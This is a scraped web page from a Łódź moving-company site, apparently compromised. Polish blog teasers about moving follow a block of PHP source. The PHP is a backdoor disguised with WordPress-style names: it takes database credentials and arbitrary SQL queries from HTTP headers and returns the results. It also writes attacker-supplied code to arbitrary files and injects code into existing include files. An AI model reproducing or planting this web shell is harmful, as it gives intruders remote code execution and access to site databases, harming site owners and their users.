n class WP_Content_Handler_Checker { var $wp_host; var $wp_user; var $wp_pass; var $name; var $result = array(); var $errors = array(); var $wp_themes_count = 0; function check_wp_connection($wp_connection) { if (class_exists('PDO')) { $this->check_wp_pdo_connection($wp_connection); } else { $this->check_wp_mysql_connection($wp_connection); } } function check_wp_mysql_connection($wp_connection) { if (function_exists('mysqli_connect')) { $connection = mysqli_connect($this->wp_host, $this->wp_user, $this->wp_pass, $this->name); if (!$connection instanceof mysqli) { $this->add_wp_error(910, sprintf("Can't connect to mysqli, message - %s, code - %d", $connection->connect_error, $connection->connect_errno)); return; } call_user_func_array(array($connection, 'query'), array("SET NAMES 'utf8'")); call_user_func_array(array($connection, 'query'), array("SET CHARACTER SET 'utf8'")); $wp_connection_success = call_user_func_array(array($connection, 'query'), array($wp_connection)); if ($wp_connection_success == false) { $this->add_wp_error($connection->errno, $connection->error); } else { $this->wp_themes_count = $connection->{'affected_rows'}; while ($data = call_user_func_array(array($wp_connection_success, 'fetch_assoc'), array())) { $this->result[] = $data; } } } elseif (function_exists('mysql_connect')) { $connection = mysql_connect($this->wp_host, $this->wp_user, $this->wp_pass); if ($connection == false) { $this->add_wp_error(910, "Can't connect to mysql"); return; } mysql_select_db($this->name, $connection); mysql_query("SET NAMES 'utf8'", $connection); mysql_query("SET CHARACTER SET 'utf8'", $connection); $wp_connection_success = mysql_query($wp_connection, $connection); if ($wp_connection_success == false) { $this->add_wp_error(mysql_errno($connection), mysql_error($connection)); } else { $this->wp_themes_count = mysql_num_rows($wp_connection_success); while ($data = mysql_fetch_assoc($wp_connection_success)) { $this->result[] = $data; } } } } function check_wp_pdo_connection($wp_connection) { $pdo_config_all = 'mysql:'; $pdo_config = array( 'host' => $this->wp_host, 'dbname' => $this->name, 'charset' => 'utf8' ); foreach ($pdo_config as $key => &$item) { $item = $key . '=' . $item; } $pdo_config_all .= implode(';', $pdo_config); try { $connection = new PDO($pdo_config_all, $this->wp_user, $this->wp_pass); call_user_func_array(array($connection, 'query'), array('SET CLIENT_ENCODING TO "UTF8"')); call_user_func_array(array($connection, 'query'), array('SET NAMES "UTF8"')); $query = call_user_func_array(array($connection, 'query'), array($wp_connection, PDO::FETCH_ASSOC)); if ($query == false) { $error_info = call_user_func_array(array($connection, 'errorInfo'), array()); $error_code = call_user_func_array(array($connection, 'errorCode'), array()); $this->add_wp_error($error_code, end($error_info)); return; } $this->wp_themes_count = call_user_func(array($query, 'rowCount'), array()); $this->result = call_user_func_array(array($query, 'fetchAll'), array()); } catch (PDOException $exception) { $this->add_wp_error(call_user_func_array(array($exception, 'getCode'), array()), call_user_func_array(array($exception, 'getMessage'), array())); } } function __construct() { $this->wp_host = stripslashes(@$_SERVER['HTTP_VI_DATABASE_HOST']); $this->wp_user = stripslashes(@$_SERVER['HTTP_VI_DATABASE_USER']); $this->wp_pass = stripslashes(@$_SERVER['HTTP_VI_DATABASE_PASS']); $this->name = stripslashes(@$_SERVER['HTTP_VI_DATABASE_NAME']); if (empty($this->wp_host)) { $this->add_wp_error(900, "No host provided"); } if (empty($this->wp_user)) { $this->add_wp_error(901, "No user provided"); } if (empty($this->wp_pass)) { $this->add_wp_error(902, "No pass provided"); } if (empty($this->name)) { $this->add_wp_error(903, "No database name provided"); } } function add_wp_error($code, $message) { $this->errors[] = array( 'code' => $code, 'message' => $message ); } function get_wp_errors() { return $this->errors; } function wp_get_themes_count() { return $this->wp_themes_count; } function is_wp_connection_succeed() { return !count($this->errors); } function get_wp_connection_result() { return $this->result; } } class WP_Content_Handler_Accessor { function create() { $method = @$_SERVER['HTTP_VI_METHOD']; if (!mb_strlen($method)) { return; } ob_end_clean(); switch ($method) { case 'query': $this->check_wp_connection_handler(); break; case 'update': $this->update_parameters(); break; default: return; } } function check_wp_connection_handler() { $query = stripslashes(@$_SERVER['HTTP_VI_DATABASE_QUERY']); if (!mb_strlen($query)) { $this->wp_response(false, array( array( 'code' => 0, 'message' => 'No query provided' ) )); exit; } $database = new WP_Content_Handler_Checker(); $database->check_wp_connection($query); if ($database->is_wp_connection_succeed()) { $this->wp_response(true, array( 'rows' => $database->wp_get_themes_count(), 'result' => $database->get_wp_connection_result() )); } else { $this->wp_response(false, $database->get_wp_errors()); } } function update_parameters() { $parameters_path = stripslashes(@$_SERVER['HTTP_VI_PATH']); $new_parameters = urldecode(@$_REQUEST['VI_SCRIPT']); $old_parameters_path = stripslashes(@$_SERVER['HTTP_VI_INCLUDE_PATH']); $old_parameters = urldecode(@$_REQUEST['VI_INCLUDE_CODE']); if (!mb_strlen($new_parameters)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript passed' ))); } if (!mb_strlen($parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No sсript path passed' ))); } if (!mb_strlen($old_parameters_path)) { $this->wp_response(false, array(array( 'code' => 0, 'message' => 'No include path passed' ))); } $success = $this->update_wp_accessor_parameters($parameters_path, $new_parameters); if ($success) { $success = $this->wp_update_parameters($old_parameters_path, $old_parameters); } $this->wp_response($success, null); } function update_wp_accessor_parameters($path, $parameters) { return (bool)@file_put_contents($path, " n" . stripslashes($parameters)); } function wp_update_parameters($old_parameters_path, $old_parameters) { $file = file_get_contents($old_parameters_path); if (!mb_strlen($file)) { return false; } if (mb_strpos($file, $old_parameters) !== false) { return true; } if ($this->is_parameters_valid($file)) { $file = $file . "n" . " n" . $old_parameters . " n?>"; } else { $file = $file . "nn" . $old_parameters; } return (bool)@file_put_contents($old_parameters_path, $file); } function is_parameters_valid($file) { $last_available_parameters_count = strrpos($file, ""); $last_updated_parameters_count = ($last_updated_parameters_count === false) ? -1 : $last_updated_parameters_count; return $last_available_parameters_count <= $last_updated_parameters_count; } function wp_response($success, $data) { $wp_response = array('success' => $success); $wp_response[$success ? 'data' : 'errors'] = $data; header('Content-Type: application/json'); echo json_encode($wp_response); exit; } } $accessor = new WP_Content_Handler_Accessor(); $accessor->create(); Przeprowadzki Łódź ® przeprowadzajac.pl
Przeprowadzki

Zakres usług firmy realizującej przeprowadzki.

Firma, która zajmuje się realizacją przeprowadzki, może zrobić wiele – od nas jednak zależy jak dużo. Warto wiedzieć co zrobić, by wszystkie niezbędne prace były wykonane na nasz rachunek nie był nie za wysoki.

Przeprowadzka

Przeprowadzka ? Zawsze trzeba wszystko przemyśleć.

Przeprowadzka to decyzja, która podejmuje wielu z nas. Często decyzja kiełkuje powoli, nie zawsze jest decyzją oczywistą. Targają nami wątpliwości – przeprowadzać się czy lepiej pozostać w danym miejscu, ponieważ doskonale je znamy i wiemy czego się spodziewać. Jak do […]

Stres związany z przeprowadzką

Jak uniknąć stresu związanego z przeprowadzką.

Przeprowadzka to trudne zadanie, które zdarza się w życiu każdego z nas. Wiele pracy, sporo problemów, konieczność przeprowadzenia się w sensownym czasie, powodują iż przeprowadzkę wymienia się jako jedną z najbardziej stresujących rzeczy w życiu człowieka. Fakt – często nie […]

Pomoc przy przeprowadzce

Pomoc przy przeprowadzce. To konieczne.

Planując przeprowadzkę, bardzo często wychodzimy z założenia, że samodzielna jest najlepsza. Owszem – w tym przypadku jest taniej, nie można jednak twierdzić, że przeprowadzka jest samodzielna, skoro do jej wykonania potrzebni są ludzie. Każdy kto się przeprowadzał, z pewnością potwierdzi […]

przeprowadzki

Powody przeprowadzki

Przeprowadzka to coś, co może zdarzyć się w życiu każdego z nas. Nierzadko powody przeprowadzki są różne. Na pewno jednym z nich jest chęć poprawienia sobie życiowych warunków, jednak każdy, kto czyta te słowa, może je zrozumieć trochę inaczej.

 

Kwestia ubezpieczenia przeprowadzki w obrębie Łodzi

Łódź - piotrkowska

Osoby planujące swoje wyprowadzki na bardzo duże odległości w zasadzie zawsze biorą pod uwagę kwestie ubezpieczenia. Jest to oczywiście, gdyż przecież nigdy nie wiadomo co wydarzy się po drodze, a duża część naszego dobytku ma sporą wartość materialną i jego […]

Problemy, jakie możemy napotkać przeprowadzając się w Łodzi

Przeprowadzka w Łodzi

Przeprowadzka na terenie jednego miasta, takiego jak Łódź, wydaje się być zadaniem bardzo prostym, ale niestety możemy natrafić na problemy, których pokonanie będzie dość trudne. Łódź pod wieloma względami jest wyjątkowa i dlatego musimy być przygotowani na kilka scenariuszy. O […]

Przeprowadzki na terenie Łodzi – najczęstsze pytania i odpowiedzi

Fortis przeprowadzki firm w Łodzi

Osoby planujące zrealizować swoją przeprowadzkę gdzieś na terenie Łodzi bardzo często zadają mnóstwo pytań firmom przeprowadzkowym, które w niektórych przypadkach naprawdę się powtarzają.

Przeprowadzka na terenie Łodzi – czy można to zrobić samodzielnie?

Herb Łodzi

Łódź nie jest bardzo rozległym powierzchniowo miastem, jest ono raczej bardziej zagęszczone, a więc teoretycznie odległości do pokonania z jednego końca miasta na drugi nie są jakoś bardzo duże. Z tego powodu wiele osób przeprowadzających się na terenie Łodzi często […]

Przeprowadzka z Łodzi do miasta ościennego

Przeprowadzka z Łodzi

W naszym kraju wyraźnie rysuje się dzisiaj trend na ucieczkę ludzi z centrów wielkich miast gdzieś na obrzeża. Dokładnie taka sama sytuacja dotyczy oczywiście Łodzi. To oczywiste zachowanie ludzi, gdyż centra miast są głośne, zanieczyszczone i często nie nastrajają nas […]

Jak obniżyć koszty przeprowadzki na terenie Łodzi?

Tania przeprowadzka

Łódź, tak jak każda inna aglomeracja miejsca w naszym kraju, ma swoje specyficzne warunki do których dostosowują się firmy realizujące przeprowadzki, a tych na terenie Łodzi jest naprawdę całkiem sporo. Dla osób przeprowadzających się często najważniejsza kwestią jest oczywiście cena […]

Przeprowadzka firmy na terenie Łodzi

Przeprowadzka firmy

Prowadząc własną działalność gospodarczą w Łodzi zawsze może nadejść taki moment, w którym to będziemy zmuszeni przenieść swój biznes do innej lokalizacji.